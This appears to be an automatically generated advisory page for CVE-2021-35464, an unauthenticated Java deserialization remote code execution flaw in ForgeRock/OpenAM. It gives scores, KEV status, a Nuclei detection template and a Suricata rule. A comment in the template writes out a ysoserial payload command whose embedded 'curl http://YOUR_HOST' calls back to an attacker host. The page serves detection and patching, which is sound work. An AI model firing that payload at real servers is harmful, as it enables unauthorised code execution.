VULNpocalypse

CVE-2021-35464: ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier

Description quoted from the CVE record (assigned by mitre, published 2021-07-22).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2021-11-03
US federal deadline
2021-11-17
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2021-06175, CNNVD-202106-1961, CNVD-2021-101202, EDB-50131, EUVD-2021-22106, EUVD-2026-19941, GHSA-2cqq-rpvq-g5qj, GHSA-6x75-vwp5-q242

VEDAS cluster: VEDAS:BRILLIANCE

Exploit Observer links 10 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (10)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (10)

Catalogue entries, not exploit evidence.

77 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
1.000
very likely to be attacked soon
VEDAS
0.989
strong exploit evidence
On CISA KEV
Yes, since 2021-11-03
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2021-35464 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2021-35464 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

How to detect it

Nuclei template (active check)

Openam - Insecure Deserialization

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /openam/oauth2/..;/ccversion/Version, GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_o...); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2021-35464.yaml
Show the template (46 lines)
yaml
id: CVE-2021-35464

info:
  name: "Openam - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on
    multiple pages. The exploitation does not require authentication, and remote code execution can be triggered
    by sending a single crafted /ccversion/* request to the server.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-35464&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=openam&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln
http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

CVE-2021-35464.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-35464 Openam - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-35464 Openam - Insecure Deserialization"; flow:established,to_server; http.uri; content:"ccversion"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-35464; reference:url,https://www.exploit.observer/?keyword=CVE-2021-35464&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=openam&match=exact; sid:1010704; rev:1;)

CVE-2021-35464.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.